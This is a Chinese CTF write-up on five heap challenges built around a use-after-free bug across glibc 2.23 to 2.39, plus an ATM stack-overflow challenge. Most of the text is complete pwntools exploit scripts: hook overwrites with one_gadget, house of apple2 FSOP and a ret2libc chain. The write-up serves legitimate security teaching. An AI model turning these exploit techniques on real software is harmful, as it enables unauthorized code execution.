非常好堆题,使我的patchelf旋转。
0x00 前言 虽然说是新生赛,但是五道堆题估计真新生都被吓傻了。实际上题目限制非常宽松,也正好可以拿来总结各个常见版本glibc的基本特点。因为题目除了2.39之外都一样所以就先分析题目,再来看不同版本下的做法。
0x01 题目分析 create函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 create () { __int64 result; int v1; unsigned int v2; unsigned int v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); v2 = 0 ; v3 = 0 ; printf ("idx? " ); __isoc99_scanf("%d" , &v2); if ( v2 > 0xF || ptr[v2] ) { puts ("error !" ); return 0LL ; } else { printf ("size? " ); __isoc99_scanf("%d" , &v3); v1 = v2; ptr[v1] = malloc ((int )v3); if ( !ptr[v2] ) { puts ("malloc error!" ); exit (1 ); } result = v3; ptr_size[v2] = v3; } return result; }
题目限制了最多只能申请16个chunk,但是对size没有限制。
delete函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 void delete () { unsigned int v0; unsigned __int64 v1; v1 = __readfsqword(0x28 u); v0 = 0 ; printf ("idx? " ); __isoc99_scanf("%d" , &v0); if ( v0 <= 0xF && ptr[v0] ) free ((void *)ptr[v0]); else puts ("no such chunk!" ); }
妥妥的UAF。但是指针没被清空也意味着最多只能16个chunk了。
show函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 int show () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); v1 = 0 ; printf ("idx? " ); __isoc99_scanf("%d" , &v1); if ( v1 <= 0xF && ptr[v1] ) return printf ("content : %s\n" , (const char *)ptr[v1]); puts ("no such chunk!" ); return 0 ; }
用printf来打印chunk内容,有一点需要注意就是\x00会被截断。
edit函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ssize_t edit () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); v1 = 0 ; printf ("idx? " ); __isoc99_scanf("%d" , &v1); if ( v1 <= 0xF && ptr[v1] ) { puts ("content : " ); return read(0 , (void *)ptr[v1], (unsigned int )ptr_size[v1]); } else { puts ("no such chunk!" ); return 0LL ; } }
没有堆溢出,但是已经有UAF了所以无所谓。
Exit函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void __noreturn Exit () { int i; for ( i = 0 ; i <= 15 ; ++i ) { if ( !ptr[i] ) { free ((void *)ptr[i]); ptr[i] = 0LL ; ptr_size[i] = 0 ; } } exit (0 ); }
有exit(0),可以打exithook或者exit的got表。
总的来看最大且最危险的漏洞就是UAF,可以说有了这个洞这些题在堆风水的布局上可以为所欲为了。
0x02 2.23 版本特性 2.23版本没有tcachebin,fastbin中double free只需要在两次free当中free掉另一个chunk就好了。fastbin最大是0x80,要泄露libc只需要申请unsorted chunk即可。fastbin会在用户取出chunk的时候检查size字段是否合法。fastbin链表中的地址是chunk头地址,不是mem(用户内容)地址。
思路 泄露libc只要申请0x90的chunk释放掉再show就好了。
这个程序只开了partial relro,理论上可以打got表。这里我选择打malloc_hook。这题甚至不需要double free,只要delete一个chunk之后改掉其fd为malloc_hook-0x23,再申请两次同样大小的chunk就能打到malloc_hook-0x23。之所以要-0x23是为了绕过size字段的检查,那个地方有个0x007f,所以我们在申请chunk的时候要申请总大小为0x70的chunk以满足检查条件。
申请到hook处用edit改hook为onegadget,然后再申请一个chunk就能getshell了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) r = process('./heap' ) e = ELF('./heap' ) libc = ELF('./libc-2.23.so' ) one = [0x4525a , 0xef9f4 , 0xf0897 ] def cmd (choice ): r.recvuntil(b'>>' ) r.sendline(str (choice).encode()) def add (idx, size ): cmd(1 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'size? ' ) r.sendline(str (size).encode()) def delete (idx ): cmd(2 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) def show (idx ): cmd(3 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'content : ' ) def edit (idx, content=b'deafbeef' ): cmd(4 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'content : ' ) r.send(content) def exit (): cmd(5 ) add(0 , 0x90 ) add(1 , 0x18 ) delete(0 ) show(0 ) libc_base = u64(r.recv(6 ).ljust(8 , b'\x00' ))-0x3c3b78 log.info('libc_base:' +hex (libc_base)) add(2 , 0x90 ) add(3 , 0x60 ) add(4 , 0x60 ) add(5 , 0x20 ) delete(3 ) delete(4 ) edit(4 , p64(libc_base+libc.symbols['__malloc_hook' ]-0x23 )) add(6 , 0x60 ) add(7 , 0x60 ) edit(7 , b'a' *0x13 +p64(libc_base+one[1 ])) add(8 , 0x20 ) r.interactive()
0x03 2.27 版本特性 2.27版本有tcachebin,但是在2.27的低子版本并没有对tcachebin中chunk double free检查的机制,但是高子版本打了补丁之后就有了。所以很难说远程2.27到底能不能随心所欲的double free,一般都没有。tcachebin不会检查size字段。tcache不会检查bin内可用的chunk数量。
思路 因为tcachebin覆盖大小到0x410的chunk,所以泄露libc要申请大于0x410的chunk释放掉再show。
这个程序全保护,这里我依然选择打malloc_hook。这题还是不需要double free,只要delete一个chunk之后改掉其fd为malloc_hook,再申请两次同样大小的chunk就能打到malloc_hook。
申请到hook处用edit改hook为onegadget,然后再申请一个chunk就能getshell了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) r = process('./heap' ) e = ELF('./heap' ) libc = ELF('./libc-2.27.so' ) one = [0x4f2be , 0x4f2c5 , 0x4f322 , 0x10a38c ] def dbg (): gdb.attach(r) def cmd (choice ): r.recvuntil(b'>>' ) r.sendline(str (choice).encode()) def add (idx, size ): cmd(1 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'size? ' ) r.sendline(str (size).encode()) def delete (idx ): cmd(2 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) def show (idx ): cmd(3 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'content : ' ) def edit (idx, content=b'deafbeef' ): cmd(4 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'content : ' ) r.send(content) def exit (): cmd(5 ) add(0 , 0x500 ) add(1 , 0x18 ) delete(0 ) show(0 ) libc_base = u64(r.recv(6 ).ljust(8 , b'\x00' ))-0x3ebca0 log.info('libc_base:' +hex (libc_base)) add(2 , 0x500 ) add(3 , 0x70 ) add(4 , 0x70 ) delete(3 ) delete(4 ) edit(4 , p64(libc_base+libc.symbols['__malloc_hook' ])) add(5 , 0x70 ) add(6 , 0x70 ) edit(6 , p64(libc_base+one[3 ])) add(7 , 0x30 ) r.interactive()
0x04 2.31 版本特性 2.31版本的tcachebin有一系列检查,tcache会检查bin内可用的chunk数量,会检查bin内double free。但是还不会加密fd,加密fd机制是从2.32版本开始的。tcachebin不会检查size字段。这时候tcachebin想要doublefree可以使用house of botcake或者利用fastbin来doublefree。
思路 因为tcachebin覆盖大小到0x410的chunk,所以泄露libc要申请大于0x410的chunk释放掉再show。
这个程序全保护,这里我依然选择打malloc_hook。这题还是不需要double free,只要delete一个chunk之后改掉其fd为malloc_hook,再申请两次同样大小的chunk就能打到malloc_hook。
申请到hook处用edit改hook为onegadget,然后再申请一个chunk就能getshell了。
其实这题还可以选择劫持exit_hook,改lock指针。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) r = process('./heap' ) e = ELF('./heap' ) libc = ELF('./libc-2.31.so' ) one = [0xe6aee , 0xe6af1 , 0xe6af4 ] def dbg (): gdb.attach(r) def cmd (choice ): r.recvuntil(b'>>' ) r.sendline(str (choice).encode()) def add (idx, size ): cmd(1 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'size? ' ) r.sendline(str (size).encode()) def delete (idx ): cmd(2 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) def show (idx ): cmd(3 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'content : ' ) def edit (idx, content=b'deafbeef' ): cmd(4 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'content : ' ) r.send(content) def exit (): cmd(5 ) add(0 , 0x500 ) add(1 , 0x18 ) delete(0 ) show(0 ) dbg() libc_base = u64(r.recv(6 ).ljust(8 , b'\x00' ))-0x1ebbe0 log.info('libc_base:' +hex (libc_base)) add(2 , 0x500 ) add(3 , 0x70 ) add(4 , 0x70 ) delete(3 ) delete(4 ) edit(4 , p64(libc_base+libc.symbols['__malloc_hook' ])) add(5 , 0x70 ) add(6 , 0x70 ) edit(6 , p64(libc_base+one[1 ])) add(7 , 0x30 ) r.interactive()
0x05 2.35 版本特性 2.35版本的tcachebin有一系列检查,tcache会检查bin内可用的chunk数量,会检查bin内double free,对chunk地址有对齐检查,fd会被加密,并且利加密的key存在tls结构体里。2.34版本及之前key是指向TcacheBin的指针。tcachebin不会检查size字段。
从2.34开始glibc取消掉了hook机制,所以没法打malloc和free hook了,但是exit hook中还有一条路可以走,也就是house of banana,或者劫持__call_tls_dtors函数。
思路 这个程序全保护,因为fd被加密了,虽然这题UAF可以打到tls泄露key来劫持fd,但是比较麻烦,所以我选择house of apple2。这几乎是全版本通解,只要能largebin attack,能触发IO。因为是第一次使用house of apple2来打堆题,所以完整的做题步骤及调试过程另起文章记录。这题直接板子做题法。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) r = process('./heap' ) e = ELF('./heap' ) libc = ELF('./libc-2.35.so' ) one = [0xe6aee , 0xe6af1 , 0xe6af4 ] def dbg (): gdb.attach(r) def cmd (choice ): r.recvuntil(b'>>' ) r.sendline(str (choice).encode()) def add (idx, size ): cmd(1 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'size? ' ) r.sendline(str (size).encode()) def delete (idx ): cmd(2 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) def show (idx ): cmd(3 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'content : ' ) def edit (idx, content=b'deafbeef' ): cmd(4 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'content : ' ) r.send(content) def exit (): cmd(5 ) add(8 , 0x18 ) add(0 , 0x510 ) add(1 , 0x30 ) add(2 , 0x520 ) add(3 , 0x30 ) delete(2 ) add(4 , 0x530 ) show(2 ) large = u64(r.recv(6 ).ljust(8 , b'\0' )) libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_' ] _IO_list_all = libcbase + libc.sym['_IO_list_all' ] io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps' ] system = libcbase + libc.sym['system' ] success('libcbase: ' + hex (libcbase)) edit(2 , b'A' * 0x10 ) show(2 ) r.recv(0x10 ) heap = u64(r.recv(6 ).ljust(8 , b'\0' )) success('heap: ' + hex (heap)) delete(0 ) edit(2 , p64(large) + p64(large) + p64(heap) + p64(_IO_list_all - 0x20 )) add(5 , 0x550 ) chunk_addr = heap - 0x560 edit(8 , b'A' * 0x10 + p32(0xfffff7f5 ) + b';sh\x00' ) fake_io_file = p64(0 )*2 + p64(1 ) + p64(2 ) fake_io_file = fake_io_file.ljust( 0xa0 - 0x10 , b'\0' ) + p64(chunk_addr + 0x100 ) fake_io_file = fake_io_file.ljust( 0xc0 - 0x10 , b'\0' ) + p64(0xffffffffffffffff ) fake_io_file = fake_io_file.ljust( 0xd8 - 0x10 , b'\0' ) + p64(io_wfile_jumps) fake_io_file = fake_io_file.ljust( 0x100 - 0x10 + 0xe0 , b'\0' ) + p64(chunk_addr + 0x200 ) fake_io_file = fake_io_file.ljust( 0x200 - 0x10 , b'\0' ) + p64(0 )*13 + p64(system) edit(0 , fake_io_file) exit() r.interactive()
0x06 2.39 题目区别 2.39的题目唯一的区别就是申请chunk的时候只能申请largechunk,题目描述说使用全新的IO打法,不出意外就是apple系列了。
思路 思路与上一题相同,使用house of apple2。区别就是保护chunk最小只能申请0x500,其他依然板子做题。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) r = process('./heap' ) e = ELF('./heap' ) libc = ELF('./libc.so.6' ) def dbg (): gdb.attach(r) def cmd (choice ): r.recvuntil(b'>>' ) r.sendline(str (choice).encode()) def add (idx, size ): cmd(1 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'size? ' ) r.sendline(str (size).encode()) def delete (idx ): cmd(2 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) def show (idx ): cmd(3 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'content : ' ) def edit (idx, content=b'deafbeef' ): cmd(4 ) r.recvuntil(b'idx? ' ) r.sendline(str (idx).encode()) r.recvuntil(b'content : ' ) r.send(content) def exit (): cmd(5 ) add(8 , 0x508 ) add(0 , 0x510 ) add(1 , 0x500 ) add(2 , 0x520 ) add(3 , 0x500 ) delete(2 ) add(4 , 0x530 ) show(2 ) large = u64(r.recv(6 ).ljust(8 , b'\0' )) libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_' ] _IO_list_all = libcbase + libc.sym['_IO_list_all' ] io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps' ] system = libcbase + libc.sym['system' ] success('libcbase: ' + hex (libcbase)) edit(2 , b'A' * 0x10 ) show(2 ) r.recv(0x10 ) heap = u64(r.recv(6 ).ljust(8 , b'\0' )) success('heap: ' + hex (heap)) delete(0 ) edit(2 , p64(large) + p64(large) + p64(heap) + p64(_IO_list_all - 0x20 )) add(5 , 0x550 ) chunk_addr = heap - 0xa30 edit(8 , b'A' * 0x500 + p32(0xfffff7f5 ) + b';sh\x00' ) fake_io_file = p64(0 )*2 + p64(1 ) + p64(2 ) fake_io_file = fake_io_file.ljust( 0xa0 - 0x10 , b'\0' ) + p64(chunk_addr + 0x100 ) fake_io_file = fake_io_file.ljust( 0xc0 - 0x10 , b'\0' ) + p64(0xffffffffffffffff ) fake_io_file = fake_io_file.ljust( 0xd8 - 0x10 , b'\0' ) + p64(io_wfile_jumps) fake_io_file = fake_io_file.ljust( 0x100 - 0x10 + 0xe0 , b'\0' ) + p64(chunk_addr + 0x200 ) fake_io_file = fake_io_file.ljust( 0x200 - 0x10 , b'\0' ) + p64(0 )*13 + p64(system) edit(0 , fake_io_file) exit() r.interactive()
0x07 ATM 题目 这是一道栈题,简单的栈溢出。选项3可以直接加钱,选项5会给你一个printf的真实地址,并根据你现在的钱数作为读取字节数。需要注意的是这里存在一个数据类型转换的问题,nbytes原本是size_t类型的,但是read的时候是unsigned int,所以加钱的时候不一定是越大越好,可能直接给你回绕了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 __int64 app_fun () { __int64 result; char v1[312 ]; char nptr[8 ]; char buf[16 ]; int v4; unsigned int v5; unsigned int v6; size_t nbytes; puts ("password:" ); read(0 , buf, 0x10 uLL); LODWORD(nbytes) = 200 ; while ( 1 ) { block(); read(0 , nptr, 8uLL ); v6 = atoi(nptr); result = v6; switch ( v6 ) { case 1u : printf ("Your balance is:%d$\n" , (unsigned int )nbytes); continue ; case 2u : printf ("Please enter the money you withdraw:" ); memset (nptr, 0 , sizeof (nptr)); read(0 , nptr, 7uLL ); v4 = atoi(nptr); if ( v4 <= 0 || v4 > (int )nbytes ) goto LABEL_10; LODWORD(nbytes) = nbytes - v4; break ; case 3u : printf ("Please enter your deposit:" ); memset (nptr, 0 , sizeof (nptr)); read(0 , nptr, 7uLL ); v5 = (unsigned int )nptr; if ( (unsigned int )nptr ) LODWORD(nbytes) = nbytes + v5; else LABEL_10: puts ("Invalid amount." ); break ; case 4u : return result; case 5u : printf ("gift:%p\n" , &printf ); read(0 , v1, (unsigned int )nbytes); break ; default : continue ; } } }
block函数是menu
加钱1000之后直接ret2libc即可,程序给了libc地址,甚至免去了泄露libc的步骤。附件没给libc,可以用LibcSearcher,但是我直接打本地所以用了本机2.35的libc。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.log_level = 'debug' r = process('./app' ) e = ELF('./app' ) libc = ELF('./libc.so.6' ) r.sendline(b'a' ) r.recvuntil(b'Exit' ) r.sendline(b'3' ) r.recvuntil(b'deposit:' ) r.sendline(b'1000' ) r.recvuntil(b'Exit' ) r.sendline(b'5' ) r.recvuntil(b'gift:' ) printf_addr = int (r.recv(14 ), 16 ) success(hex (printf_addr)) libc_base = printf_addr - libc.symbols['printf' ] success(hex (libc_base)) system_addr = libc_base + libc.symbols['system' ] binsh_addr = libc_base + next (libc.search(b'/bin/sh' )) rdi = 0x401233 ret = 0x401234 payload = b'a' *0x168 +p64(rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr) r.sendline(payload) r.recvuntil(b'Exit' ) r.sendline(b'4' ) r.interactive()